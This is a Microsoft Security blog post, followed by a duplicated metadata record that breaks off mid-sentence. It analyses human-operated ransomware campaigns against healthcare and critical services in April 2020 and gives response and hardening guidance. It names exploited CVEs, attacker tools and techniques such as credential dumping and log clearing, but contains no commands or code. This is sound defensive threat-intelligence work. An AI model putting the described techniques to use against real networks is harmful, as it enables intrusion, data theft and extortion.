At a time when remote work is becoming universal and the strain on SecOps, especially in healthcare and critical industries, has never been higher, ransomware actors are unrelenting, continuing their normal operations.
Multiple ransomware groups that have been accumulating access and maintaining persistence on target networks for several months activated dozens of ransomware deployments in the first two weeks of April 2020. So far the attacks have affected aid organizations, medical billing companies, manufacturing, transport, government institutions, and educational software providers, showing that these ransomware groups give little regard to the critical services they impact, global crisis notwithstanding. These attacks, however, are not limited to critical services, so organizations should be vigilant for signs of compromise.
The ransomware deployments in this two-week period appear to cause a slight uptick in the volume of ransomware attacks. However, Microsoft security intelligence as well as forensic data from relevant incident response engagements by Microsoft Detection and Response Team (DART) showed that many of the compromises that enabled these attacks occurred earlier. Using an attack pattern typical of [human-operated ransomware](<https://aka.ms/human-operated-ransomware>) campaigns, attackers have compromised target networks for several months beginning earlier this year and have been waiting to monetize their attacks by deploying ransomware when they would see the most financial gain.
Many of these attacks started with the exploitation of vulnerable internet-facing network devices; others used brute force to compromise RDP servers. The attacks delivered a wide range of payloads, but they all used the same techniques observed in human-operated ransomware campaigns: credential theft and lateral movement, culminating in the deployment of a ransomware payload of the attacker’s choice. Because the ransomware infections are at the tail end of protracted attacks, defenders should focus on hunting for signs of adversaries performing credential theft and lateral movement activities to prevent the deployment of ransomware.
In this blog, we share our in-depth analysis of these ransomware campaigns. Below, we will cover:
* Vulnerable and unmonitored internet-facing systems provide easy access to human-operated attacks
* A motley crew of ransomware payloads
* Immediate response actions for active attacks
* Building security hygiene to defend networks against human-operated ransomware
* Microsoft Threat Protection: Coordinated defense against complex and wide-reaching human-operated ransomware
We have included additional technical details including hunting guidance and recommended prioritization for security operations (SecOps).
## Vulnerable and unmonitored internet-facing systems provide easy access to human-operated attacks
While the recent attacks deployed various ransomware strains, many of the campaigns shared infrastructure with previous ransomware campaigns and used the same techniques commonly observed in human-operated ransomware attacks.
In stark contrast to attacks that deliver ransomware via email—which tend to unfold much faster, with ransomware deployed within an hour of initial entry—the attacks we saw in April are similar to the Doppelpaymer ransomware campaigns from 2019, where attackers gained access to affected networks months in advance. They then remained relatively dormant within environments until they identified an opportune time to deploy ransomware.
To gain access to target networks, the recent ransomware campaigns exploited internet-facing systems with the following weaknesses:
* Remote Desktop Protocol (RDP) or Virtual Desktop endpoints without multi-factor authentication (MFA)
* Older platforms that have reached end of support and are no longer getting security updates, such as Windows Server 2003 and Windows Server 2008, exacerbated by the use of weak passwords
* Misconfigured web servers, including IIS, electronic health record (EHR) software, backup servers, or systems management servers
* Citrix Application Delivery Controller (ADC) systems affected by [CVE-2019-19781](<https://support.citrix.com/article/CTX267027>)
* Pulse Secure VPN systems affected by [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>)
Applying security patches for internet-facing systems is critical in preventing these attacks. It’s also important to note that, although Microsoft security researchers have not observed the recent attacks exploiting the following vulnerabilities, historical signals indicate that these campaigns may eventually exploit them to gain access, so they are worth reviewing: [CVE-2019-0604](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0604>), [CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>), [CVE-2020-10189](<https://nvd.nist.gov/vuln/detail/CVE-2020-10189>).
Like many breaches, attackers employed credential theft, lateral movement capabilities using common tools, including Mimikatz and Cobalt Strike, network reconnaissance, and data exfiltration. In these specific campaigns, the operators gained access to highly privileged administrator credentials and were ready to take potentially more destructive action if disturbed. On networks where attackers deployed ransomware, they deliberately maintained their presence on some endpoints, intending to reinitiate malicious activity after ransom is paid or systems are rebuilt. In addition, while only a few of these groups gained notoriety for selling data, almost all of them were observed viewing and exfiltrating data during these attacks, even if they have not advertised or sold yet.
As with all human-operated ransomware campaigns, these recent attacks spread throughout an environment affecting email identities, endpoints, inboxes, applications, and more. Because it can be challenging even for experts to ensure complete removal of attackers from a fully compromised network, it’s critical that vulnerable internet-facing systems are proactively patched and mitigations put in place to reduce the risk from these kinds of attacks.
## A motley crew of ransomware payloads
While individual campaigns and ransomware families exhibited distinct attributes as described in the sections below, these human-operated ransomware campaigns tended to be variations on a common attack pattern. They unfolded in similar ways and employed generally the same attack techniques. Ultimately, the specific ransomware payload at the end of each attack chain was almost solely a stylistic choice made by the attackers.

### RobbinHood ransomware
RobbinHood ransomware operators gained some attention for [exploiting vulnerable drivers](<https://www.microsoft.com/security/blog/2020/03/17/secured-core-pcs-a-brief-showcase-of-chip-to-cloud-security-against-kernel-attacks/>) late in their attack chain to turn off security software. However, like many other human-operated ransomware campaigns, they typically start with an RDP brute-force attack against an exposed asset. They eventually obtain privileged credentials, mostly local administrator accounts with shared or common passwords, and service accounts with domain admin privileges. RobbinHood operators, like Ryuk and other well-publicized ransomware groups, leave behind new local and Active Directory user accounts, so they can regain access after their malware and tools have been removed.
### Vatet loader
Attackers often shift infrastructure, techniques, and tools to avoid notoriety that might attract law enforcement or security researchers. They often retain them while waiting for security organizations to start considering associated artifacts inactive, so they face less scrutiny. Vatet, a custom loader for the Cobalt Strike framework that has been seen in ransomware campaigns as early as November 2018, is one of the tools that has resurfaced in the recent campaigns.
The group behind this tool appears to be particularly intent on targeting hospitals, as well as aid organizations, insulin providers, medical device manufacturers, and other critical verticals. They are one of the most prolific ransomware operators during this time and have caused dozens of cases.
Using Vatet and Cobalt Strike, the group has delivered various ransomware payloads. More recently, they have been deploying in-memory ransomware that utilizes Alternate Data Streams (ADS) and displays simplistic ransom notes copied from older ransomware families. To access target networks, they exploit [CVE-2019-19781](<https://support.citrix.com/article/CTX267027>), brute force RDP endpoints, and send email containing .lnk files that launch malicious PowerShell commands. Once inside a network, they steal credentials, including those stored in the Credential Manager vault, and move laterally until they gain domain admin privileges. The group has been observed exfiltrating data prior to deploying ransomware.
### NetWalker ransomware
NetWalker campaign operators gained notoriety for targeting hospitals and healthcare providers with emails claiming to provide information about COVID-19. These emails also delivered NetWalker ransomware directly as a .vbs attachment, a technique that has gained media attention. However, the campaign operators also compromised networks using misconfigured IIS-based applications to launch Mimikatz and steal credentials, which they then used to launch PsExec, and eventually deploying the same NetWalker ransomware.
### PonyFinal ransomware
This Java-based ransomware had been considered a novelty, but the campaigns deploying PonyFinal weren’t unusual. Campaign operators compromised internet-facing web systems and obtained privileged credentials. To establish persistence, they used PowerShell commands to launch the system tool mshta.exe and set up a reverse shell based on a common PowerShell attack framework. They also used legitimate tools, such as Splashtop, to maintain remote desktop connections.
### Maze ransomware
One of the first ransomware campaigns to make headlines for selling stolen data, Maze continues to target technology providers and public services. Maze has a history of going after managed service providers (MSPs) to gain access to the data and networks of MSP customers.
Maze has been delivered via email, but campaign operators have also deployed Maze to networks after gaining access using common vectors, such as RDP brute force. Once inside a network, they perform credential theft, move laterally to access resources and exfiltrate data, and then deploy ransomware.
In a recent campaign, Microsoft security researchers tracked Maze operators establishing access through an internet-facing system by performing RDP brute force against the local administrator account. Using the brute-forced password, campaign operators were able to move laterally because built-in administrator accounts on other endpoints used the same passwords.
After gaining control over a domain admin account through credential theft, campaign operators used Cobalt Strike, PsExec, and a plethora of other tools to deploy various payloads and access data. They established fileless persistence using scheduled tasks and services that launched PowerShell-based remote shells. They also turned on Windows Remote Management for persistent control using stolen domain admin privileges. To weaken security controls in preparation for ransomware deployment, they manipulated various settings through Group Policy.
### REvil ransomware
Possibly the first ransomware group to take advantage of the network device vulnerabilities in Pulse VPN to steal credentials to access networks, REvil (also called Sodinokibi) gained notoriety for accessing MSPs and accessing the networks and documents of customers – and selling access to both. They kept up this activity during the COVID-19 crisis, targeting MSPs and other targets like local governments. REvil attacks are differentiated in their uptake of new vulnerabilities, but their techniques overlap with many other groups, relying on credential theft tools like Mimikatz once in the network and performing lateral movement and reconnaissance with tools like PsExec.
### Other ransomware families
Other ransomware families used in human-operated campaigns during this period include:
* Paradise, which used to be distributed directly via email but is now used in human-operated ransomware attacks
* RagnarLocker, which is deployed by a group that heavily uses RDP and Cobalt Strike with stolen credentials
* MedusaLocker, which is possibly deployed via existing Trickbot infections
* LockBit, which is distributed by operators that use the publicly available penetration testing tool CrackMapExec to move laterally
## Immediate response actions for active attacks
We highly recommend that organizations immediately check if they have any alerts related to these ransomware attacks and prioritize investigation and remediation. Malicious behaviors relevant to these attacks that defenders should pay attention to include:
* Malicious PowerShell, Cobalt Strike, and other penetration-testing tools that can allow attacks to blend in as benign red team activities
* Credential theft activities, such as suspicious access to Local Security Authority Subsystem Service (LSASS) or suspicious registry modifications, which can indicate new attacker payloads and tools for stealing credentials
* Any tampering with a security event log, forensic artifact such as the USNJournal, or a security agent, which attackers do to evade detections and to erase chances of recovering data
Customers using [Microsoft Defender Advanced Threat Protection (ATP)](<https://www.microsoft.com/en-us/microsoft-365/windows/microsoft-defender-atp>) can consult a companion [threat analytics](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/threat-analytics>) report for more details on relevant alerts, as well as advanced hunting queries. Customers subscribed to the [Microsoft Threat Experts](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/microsoft-threat-experts>) service can also refer to the [targeted attack notification](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/microsoft-threat-experts#targeted-attack-notification>), which has detailed timelines of attacks, recommended mitigation steps for disrupting attacks, and remediation advice.
If your network is affected, perform the following scoping and investigation activities immediately to understand the impact of this breach. Using indicators of compromise (IOCs) alone to determine impact from these threats is not a durable solution, as most of these ransomware campaigns employ “one-time use” infrastructure for campaigns, and often change their tools and systems once they determine the detection capabilities of their targets. Detections and mitigations should concentrate on holistic behavioral based hunting where possible, and hardening infrastructure weaknesses favored by these attackers as soon as possible.
### Investigate affected endpoints and credentials
Investigate endpoints affected by these attacks and identify all the credentials present on those endpoints. Assume that these credentials were available to attackers and that all associated accounts are compromised. Note that attackers can not only dump credentials for accounts that have logged on to interactive or RDP sessions, but can also dump cached credentials and passwords for service accounts and scheduled tasks that are stored in the LSA Secrets section of the registry.
* For endpoints onboarded to [Microsoft Defender ATP](<https://www.microsoft.com/en-us/microsoft-365/windows/microsoft-defender-atp>), use advanced hunting to identify accounts that have logged on to affected endpoints. The threat analytics report contains a hunting query for this purpose.
* Otherwise, check the Windows Event Log for post-compromise logons—those that occur after or during the earliest suspected breach activity—with event ID 4624 and logon type 2 or 10. For any other timeframe, check for logon type 4 or 5.
### Isolate compromised endpoints
Isolate endpoints that have command-and-control beacons or have been lateral movement targets. Locate these endpoints using advanced hunting queries or other methods of directly searching for related IOCs. [Isolate machines](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/respond-machine-alerts#isolate-machines-from-the-network>) using Microsoft Defender ATP, or use other data sources, such as NetFlow, and search through your SIEM or other centralized event management solutions. Look for lateral movement from known affected endpoints.
### Address internet-facing weaknesses
Identify perimeter systems that attackers might have utilized to access your network. You can use a public scanning interface, such as [_shodan.io_](<https://www.shodan.io/>), to augment your own data. Systems that should be considered of interest to attackers include:
* RDP or Virtual Desktop endpoints without MFA
* Citrix ADC systems affected by CVE-2019-19781
* Pulse Secure VPN systems affected by CVE-2019-11510
* Microsoft SharePoint servers affected by CVE-2019-0604
* Microsoft Exchange servers affected by CVE-2020-0688
* Zoho ManageEngine systems affected by CVE-2020-10189
To further reduce organizational exposure, Microsoft Defender ATP customers can use the [Threat and Vulnerability Management (TVM)](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/next-gen-threat-and-vuln-mgt>) capability to discover, prioritize, and remediate vulnerabilities and misconfigurations. TVM allows security administrators and IT administrators to collaborate seamlessly to remediate issues.
### Inspect and rebuild devices with related malware infections
Many ransomware operators enter target networks through existing infections of malware like Emotet and Trickbot. These malware families, traditionally considered to be banking trojans, have been used to deliver all kinds of payloads, including persistent implants. Investigate and remediate any known infections and consider them possible vectors for sophisticated human adversaries. Ensure that you check for exposed credentials, additional payloads, and lateral movement prior to rebuilding affected endpoints or resetting passwords.
## Building security hygiene to defend networks against human-operated ransomware
As ransomware operators continue to compromise new targets, defenders should proactively assess risk using all available tools. You should continue to enforce proven preventive solutions—credential hygiene, minimal privileges, and host firewalls—to stymie these attacks, which have been consistently observed taking advantage of security hygiene issues and over-privileged credentials.
Apply these measures to make your network more resilient against new breaches, reactivation of dormant implants, or lateral movement:
* Randomize local administrator passwords using a tool such as LAPS.
* Apply [Account Lockout Policy](<https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/account-lockout-policy>).
* Ensure good perimeter security by patching exposed systems. Apply mitigating factors, such as MFA or vendor-supplied mitigation guidance, for vulnerabilities.
* Utilize [host firewalls to limit lateral movement](<https://support.microsoft.com/en-us/help/3185535/preventing-smb-traffic-from-lateral-connections>). Preventing endpoints from communicating on TCP port 445 for SMB will have limited negative impact on most networks, but can significantly disrupt adversary activities.
* Turn on cloud-delivered protection for Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a huge majority of new and unknown variants.
* Follow standard guidance in the [security baselines](<https://techcommunity.microsoft.com/t5/microsoft-security-baselines/bg-p/Microsoft-Security-Baselines>) for Office and Office 365 and the Windows security baselines. Use [Microsoft Secure Score](<https://docs.microsoft.com/en-us/microsoft-365/security/mtp/microsoft-secure-score-preview>) assesses to measures security posture and get recommended improvement actions, guidance, and control.
* Turn on [tamper protection](<https://techcommunity.microsoft.com/t5/Microsoft-Defender-ATP/Tamper-protection-now-generally-available-for-Microsoft-Defender/ba-p/911482>) features to prevent attackers from stopping security services.
* Turn on [attack surface reduction rules](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/attack-surface-reduction>), including rules that can block ransomware activity:
* Use advanced protection against ransomware
* Block process creations originating from PsExec and WMI commands
* Block credential stealing from the Windows local security authority subsystem (lsass.exe)
For additional guidance on improving defenses against human-operated ransomware and building better security posture against cyberattacks in general, read [Human-operated ransomware attacks: A preventable disaster](<https://www.microsoft.com/security/blog/2020/03/05/human-operated-ransomware-attacks-a-preventable-disaster/>).
## Microsoft Threat Protection: Coordinated defense against complex and wide-reaching human-operated ransomware
What we’ve learned from the increase in ransomware deployments in April is that attackers pay no attention to the real-world consequences of disruption in services—in this time of global crisis—that their attacks cause.
Human-operated ransomware attacks represent a different level of threat because adversaries are adept at systems administration and security misconfigurations and can therefore adapt to any path of least resistance they find in a compromised network. If they run into a wall, they try to break through. And if they can’t break through a wall, they’ve shown that they can skillfully find other ways to move forward with their attack. As a result, human-operated ransomware attacks are complex and wide-reaching. No two attacks are exactly the same.
[Microsoft Threat Protections (MTP)](<https://www.microsoft.com/en-us/security/technology/threat-protection>) provides coordinated defenses that uncover the complete attack chain and help block sophisticated attacks like human-operated ransomware. MTP combines the capabilities of multiple Microsoft 365 security services to orchestrate protection, prevention, detection, and response across endpoints, email, identities, and apps.
Through built-in intelligence, automation, and integration, MTP can block attacks, eliminate their persistence, and auto-heal affected assets. It correlates signals and consolidates alerts to help defenders prioritize incidents for investigation and response. MTP also provides a unique cross-domain hunting capability that can further help defenders identify attack sprawl and get org-specific insights for hardening defenses.
Microsoft Threat Protection is also part of a [chip-to-cloud security approach](<https://www.microsoft.com/security/blog/2020/03/17/secured-core-pcs-a-brief-showcase-of-chip-to-cloud-security-against-kernel-attacks/>) that combines threat defense on the silicon, operating system, and cloud. Hardware-backed security features on Windows 10 like address space layout randomization (ASLR), Control Flow Guard (CFG), and others harden the platform against many advanced threats, including ones that take advantage of vulnerable kernel drivers. These platform security features seamlessly integrate with Microsoft Defender ATP, providing end-to-end security that starts from a strong hardware root of trust. On [Secured-core PCs](<https://www.microsoft.com/en-us/windowsforbusiness/windows10-secured-core-computers>) these mitigations are enabled by default.
We continue to work with our customers, partners, and the research community to track human-operated ransomware and other sophisticated attacks. For dire cases customers can use available services like the [Microsoft Detection and Response (DART) team](<https://www.microsoft.com/security/blog/microsoft-detection-and-response-team-dart-blog-series/>) to help investigate and remediate.
_Microsoft Threat Protection Intelligence Team_
## Appendix: MITRE ATT&CK techniques observed
Human-operated ransomware campaigns employ a broad range of techniques made possible by attacker control over privileged domain accounts. The techniques listed here are techniques commonly used during attacks against healthcare and critical services in April 2020.
Credential access
* [T1003 Credential Dumping](<https://attack.mitre.org/techniques/T1003/>) | Use of LaZagne, Mimikatz, LsaSecretsView, and other credential dumping tools and exploitation of [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>) on vulnerable endpoints
Persistence
* [T1084 Windows Management Instrumentation Event Subscription](<https://attack.mitre.org/techniques/T1084/>) | WMI event subscription
* [T1136 Create Account](<https://attack.mitre.org/techniques/T1136/>) | Creation of new accounts for RDP
Command and control
* [T1043 Commonly Used Port](<https://attack.mitre.org/techniques/T1043/>) | Use of port 443
Discovery
* [T1033 System Owner/User Discovery](<https://attack.mitre.org/techniques/T1033/>) | Various commands
* [T1087 Account Discovery](<https://attack.mitre.org/techniques/T1087/>) | LDAP and AD queries and other commands
* [T1018 Remote System Discovery](<https://attack.mitre.org/techniques/T1018/>) | Pings, qwinsta, and other tools and commands
* [T1482 Domain Trust Discovery](<https://attack.mitre.org/techniques/T1482/>) | Domain trust enumeration using Nltest
Execution
* [T1035 Service Execution](<https://attack.mitre.org/techniques/T1035/>) | Service registered to run CMD (as ComSpec) and PowerShell commands
Lateral movement
* [T1076 Remote Desktop Protocol](<https://attack.mitre.org/techniques/T1076/>) | Use of RDP to reach other machines in the network
* [T1105 Remote File Copy](<https://attack.mitre.org/techniques/T1105/>) | Lateral movement using WMI and PsExec
Defense evasion
* [T1070 Indicator Removal on Host](<https://attack.mitre.org/techniques/T1070/>) | Clearing of event logs using wevutil, removal of USNJournal using fsutil, and deletion of slack space on drive using cipher.exe
* [T1089 Disabling Security Tools](<https://attack.mitre.org/techniques/T1089/>) | Stopping or tampering with antivirus and other security using ProcessHacker and exploitation of vulnerable software drivers
Impact
* [T1489 Service Stop](<https://attack.mitre.org/techniques/T1489/>) | Stopping of services prior to encryption
* [T1486 Data Encrypted for Impact](<https://attack.mitre.org/techniques/T1486/>) | Ransomware encryption
The post [Ransomware groups continue to target healthcare, critical services; here’s how to reduce risk](<https://www.microsoft.com/security/blog/2020/04/28/ransomware-groups-continue-to-target-healthcare-critical-services-heres-how-to-reduce-risk/>) appeared first on [Microsoft Security.
{"id": "MSSECURE:E3C8B97294453D962741782EC959E79C", "type": "mssecure", "bulletinFamily": "blog", "title": "Ransomware groups continue to target healthcare, critical services; here\u2019s how to reduce risk", "description": "At a time when remote work is becoming universal and the strain on SecOps, especially in healthcare and critical industries, has never been higher, ransomware actors are unrelenting, continuing their normal operations.\n\nMultiple ransomware groups that have been accumulating access and maintaining persistence on target networks for several months activated dozens of ransomware deployments in the first two weeks of April 2020. So far the attacks have affected aid organizations, medical billing companies, manufacturing, transport, government institutions, and educational software providers, showing that these ransomware groups give little regard to the critical services they impact, global crisis notwithstanding. These attacks, however, are not limited to critical services, so organizations should be vigilant for signs of compromise.\n\nThe ransomware deployments in this two-week period appear to cause a slight uptick in the volume of ransomware attacks. However, Microsoft security intelligence as well as forensic data from relevant incident response engagements by Microsoft Detection and Response Team (DART) showed that many of the compromises that enabled these attacks occurred earlier. Using an attack pattern typical of [human-operated ransomware](<https://aka.ms/human-operated-ransomware>) campaigns, attackers have compromised target networks for several months beginning earlier this year and have been waiting to monetize their attacks by deploying ransomware when they would see the most financial gain.\n\nMany of these attacks started with the exploitation of vulnerable internet-facing network devices; others used brute force to compromise RDP servers. The attacks delivered a wide range of payloads, but they all used the same techniques observed in human-operated ransomware campaigns: credential theft and lateral movement, culminating in the deployment of a ransomware payload of the attacker\u2019s choice. Because the ransomware infections are at the tail end of protracted attacks, defenders should focus on hunting for signs of adversaries performing credential theft and lateral movement activities to prevent the deployment of ransomware.\n\nIn this blog, we share our in-depth analysis of these ransomware campaigns. Below, we will cover:\n\n * Vulnerable and unmonitored internet-facing systems provide easy access to human-operated attacks\n * A motley crew of ransomware payloads\n * Immediate response actions for active attacks\n * Building security hygiene to defend networks against human-operated ransomware\n * Microsoft Threat Protection: Coordinated defense against complex and wide-reaching human-operated ransomware\n\nWe have included additional technical details including hunting guidance and recommended prioritization for security operations (SecOps).\n\n## Vulnerable and unmonitored internet-facing systems provide easy access to human-operated attacks\n\nWhile the recent attacks deployed various ransomware strains, many of the campaigns shared infrastructure with previous ransomware campaigns and used the same techniques commonly observed in human-operated ransomware attacks.\n\nIn stark contrast to attacks that deliver ransomware via email\u2014which tend to unfold much faster, with ransomware deployed within an hour of initial entry\u2014the attacks we saw in April are similar to the Doppelpaymer ransomware campaigns from 2019, where attackers gained access to affected networks months in advance. They then remained relatively dormant within environments until they identified an opportune time to deploy ransomware.\n\nTo gain access to target networks, the recent ransomware campaigns exploited internet-facing systems with the following weaknesses:\n\n * Remote Desktop Protocol (RDP) or Virtual Desktop endpoints without multi-factor authentication (MFA)\n * Older platforms that have reached end of support and are no longer getting security updates, such as Windows Server 2003 and Windows Server 2008, exacerbated by the use of weak passwords\n * Misconfigured web servers, including IIS, electronic health record (EHR) software, backup servers, or systems management servers\n * Citrix Application Delivery Controller (ADC) systems affected by [CVE-2019-19781](<https://support.citrix.com/article/CTX267027>)\n * Pulse Secure VPN systems affected by [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>)\n\nApplying security patches for internet-facing systems is critical in preventing these attacks. It\u2019s also important to note that, although Microsoft security researchers have not observed the recent attacks exploiting the following vulnerabilities, historical signals indicate that these campaigns may eventually exploit them to gain access, so they are worth reviewing: [CVE-2019-0604](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0604>), [CVE-2020-0688](<https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-0688>), [CVE-2020-10189](<https://nvd.nist.gov/vuln/detail/CVE-2020-10189>).\n\nLike many breaches, attackers employed credential theft, lateral movement capabilities using common tools, including Mimikatz and Cobalt Strike, network reconnaissance, and data exfiltration. In these specific campaigns, the operators gained access to highly privileged administrator credentials and were ready to take potentially more destructive action if disturbed. On networks where attackers deployed ransomware, they deliberately maintained their presence on some endpoints, intending to reinitiate malicious activity after ransom is paid or systems are rebuilt. In addition, while only a few of these groups gained notoriety for selling data, almost all of them were observed viewing and exfiltrating data during these attacks, even if they have not advertised or sold yet.\n\nAs with all human-operated ransomware campaigns, these recent attacks spread throughout an environment affecting email identities, endpoints, inboxes, applications, and more. Because it can be challenging even for experts to ensure complete removal of attackers from a fully compromised network, it\u2019s critical that vulnerable internet-facing systems are proactively patched and mitigations put in place to reduce the risk from these kinds of attacks.\n\n## A motley crew of ransomware payloads\n\nWhile individual campaigns and ransomware families exhibited distinct attributes as described in the sections below, these human-operated ransomware campaigns tended to be variations on a common attack pattern. They unfolded in similar ways and employed generally the same attack techniques. Ultimately, the specific ransomware payload at the end of each attack chain was almost solely a stylistic choice made by the attackers.\n\n\n\n### RobbinHood ransomware\n\nRobbinHood ransomware operators gained some attention for [exploiting vulnerable drivers](<https://www.microsoft.com/security/blog/2020/03/17/secured-core-pcs-a-brief-showcase-of-chip-to-cloud-security-against-kernel-attacks/>) late in their attack chain to turn off security software. However, like many other human-operated ransomware campaigns, they typically start with an RDP brute-force attack against an exposed asset. They eventually obtain privileged credentials, mostly local administrator accounts with shared or common passwords, and service accounts with domain admin privileges. RobbinHood operators, like Ryuk and other well-publicized ransomware groups, leave behind new local and Active Directory user accounts, so they can regain access after their malware and tools have been removed.\n\n### Vatet loader\n\nAttackers often shift infrastructure, techniques, and tools to avoid notoriety that might attract law enforcement or security researchers. They often retain them while waiting for security organizations to start considering associated artifacts inactive, so they face less scrutiny. Vatet, a custom loader for the Cobalt Strike framework that has been seen in ransomware campaigns as early as November 2018, is one of the tools that has resurfaced in the recent campaigns.\n\nThe group behind this tool appears to be particularly intent on targeting hospitals, as well as aid organizations, insulin providers, medical device manufacturers, and other critical verticals. They are one of the most prolific ransomware operators during this time and have caused dozens of cases.\n\nUsing Vatet and Cobalt Strike, the group has delivered various ransomware payloads. More recently, they have been deploying in-memory ransomware that utilizes Alternate Data Streams (ADS) and displays simplistic ransom notes copied from older ransomware families. To access target networks, they exploit [CVE-2019-19781](<https://support.citrix.com/article/CTX267027>), brute force RDP endpoints, and send email containing .lnk files that launch malicious PowerShell commands. Once inside a network, they steal credentials, including those stored in the Credential Manager vault, and move laterally until they gain domain admin privileges. The group has been observed exfiltrating data prior to deploying ransomware.\n\n### NetWalker ransomware\n\nNetWalker campaign operators gained notoriety for targeting hospitals and healthcare providers with emails claiming to provide information about COVID-19. These emails also delivered NetWalker ransomware directly as a .vbs attachment, a technique that has gained media attention. However, the campaign operators also compromised networks using misconfigured IIS-based applications to launch Mimikatz and steal credentials, which they then used to launch PsExec, and eventually deploying the same NetWalker ransomware.\n\n### PonyFinal ransomware\n\nThis Java-based ransomware had been considered a novelty, but the campaigns deploying PonyFinal weren\u2019t unusual. Campaign operators compromised internet-facing web systems and obtained privileged credentials. To establish persistence, they used PowerShell commands to launch the system tool mshta.exe and set up a reverse shell based on a common PowerShell attack framework. They also used legitimate tools, such as Splashtop, to maintain remote desktop connections.\n\n### Maze ransomware\n\nOne of the first ransomware campaigns to make headlines for selling stolen data, Maze continues to target technology providers and public services. Maze has a history of going after managed service providers (MSPs) to gain access to the data and networks of MSP customers.\n\nMaze has been delivered via email, but campaign operators have also deployed Maze to networks after gaining access using common vectors, such as RDP brute force. Once inside a network, they perform credential theft, move laterally to access resources and exfiltrate data, and then deploy ransomware.\n\nIn a recent campaign, Microsoft security researchers tracked Maze operators establishing access through an internet-facing system by performing RDP brute force against the local administrator account. Using the brute-forced password, campaign operators were able to move laterally because built-in administrator accounts on other endpoints used the same passwords.\n\nAfter gaining control over a domain admin account through credential theft, campaign operators used Cobalt Strike, PsExec, and a plethora of other tools to deploy various payloads and access data. They established fileless persistence using scheduled tasks and services that launched PowerShell-based remote shells. They also turned on Windows Remote Management for persistent control using stolen domain admin privileges. To weaken security controls in preparation for ransomware deployment, they manipulated various settings through Group Policy.\n\n### REvil ransomware\n\nPossibly the first ransomware group to take advantage of the network device vulnerabilities in Pulse VPN to steal credentials to access networks, REvil (also called Sodinokibi) gained notoriety for accessing MSPs and accessing the networks and documents of customers \u2013 and selling access to both. They kept up this activity during the COVID-19 crisis, targeting MSPs and other targets like local governments. REvil attacks are differentiated in their uptake of new vulnerabilities, but their techniques overlap with many other groups, relying on credential theft tools like Mimikatz once in the network and performing lateral movement and reconnaissance with tools like PsExec.\n\n### Other ransomware families\n\nOther ransomware families used in human-operated campaigns during this period include:\n\n * Paradise, which used to be distributed directly via email but is now used in human-operated ransomware attacks\n * RagnarLocker, which is deployed by a group that heavily uses RDP and Cobalt Strike with stolen credentials\n * MedusaLocker, which is possibly deployed via existing Trickbot infections\n * LockBit, which is distributed by operators that use the publicly available penetration testing tool CrackMapExec to move laterally\n\n## Immediate response actions for active attacks\n\nWe highly recommend that organizations immediately check if they have any alerts related to these ransomware attacks and prioritize investigation and remediation. Malicious behaviors relevant to these attacks that defenders should pay attention to include:\n\n * Malicious PowerShell, Cobalt Strike, and other penetration-testing tools that can allow attacks to blend in as benign red team activities\n * Credential theft activities, such as suspicious access to Local Security Authority Subsystem Service (LSASS) or suspicious registry modifications, which can indicate new attacker payloads and tools for stealing credentials\n * Any tampering with a security event log, forensic artifact such as the USNJournal, or a security agent, which attackers do to evade detections and to erase chances of recovering data\n\nCustomers using [Microsoft Defender Advanced Threat Protection (ATP)](<https://www.microsoft.com/en-us/microsoft-365/windows/microsoft-defender-atp>) can consult a companion [threat analytics](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/threat-analytics>) report for more details on relevant alerts, as well as advanced hunting queries. Customers subscribed to the [Microsoft Threat Experts](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/microsoft-threat-experts>) service can also refer to the [targeted attack notification](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/microsoft-threat-experts#targeted-attack-notification>), which has detailed timelines of attacks, recommended mitigation steps for disrupting attacks, and remediation advice.\n\nIf your network is affected, perform the following scoping and investigation activities immediately to understand the impact of this breach. Using indicators of compromise (IOCs) alone to determine impact from these threats is not a durable solution, as most of these ransomware campaigns employ \u201cone-time use\u201d infrastructure for campaigns, and often change their tools and systems once they determine the detection capabilities of their targets. Detections and mitigations should concentrate on holistic behavioral based hunting where possible, and hardening infrastructure weaknesses favored by these attackers as soon as possible.\n\n### Investigate affected endpoints and credentials\n\nInvestigate endpoints affected by these attacks and identify all the credentials present on those endpoints. Assume that these credentials were available to attackers and that all associated accounts are compromised. Note that attackers can not only dump credentials for accounts that have logged on to interactive or RDP sessions, but can also dump cached credentials and passwords for service accounts and scheduled tasks that are stored in the LSA Secrets section of the registry.\n\n * For endpoints onboarded to [Microsoft Defender ATP](<https://www.microsoft.com/en-us/microsoft-365/windows/microsoft-defender-atp>), use advanced hunting to identify accounts that have logged on to affected endpoints. The threat analytics report contains a hunting query for this purpose.\n * Otherwise, check the Windows Event Log for post-compromise logons\u2014those that occur after or during the earliest suspected breach activity\u2014with event ID 4624 and logon type 2 or 10. For any other timeframe, check for logon type 4 or 5.\n\n### Isolate compromised endpoints\n\nIsolate endpoints that have command-and-control beacons or have been lateral movement targets. Locate these endpoints using advanced hunting queries or other methods of directly searching for related IOCs. [Isolate machines](<https://docs.microsoft.com/en-us/windows/security/threat-protection/microsoft-defender-atp/respond-machine-alerts#isolate-machines-from-the-network>) using Microsoft Defender ATP, or use other data sources, such as NetFlow, and search through your SIEM or other centralized event management solutions. Look for lateral movement from known affected endpoints.\n\n### Address internet-facing weaknesses\n\nIdentify perimeter systems that attackers might have utilized to access your network. You can use a public scanning interface, such as 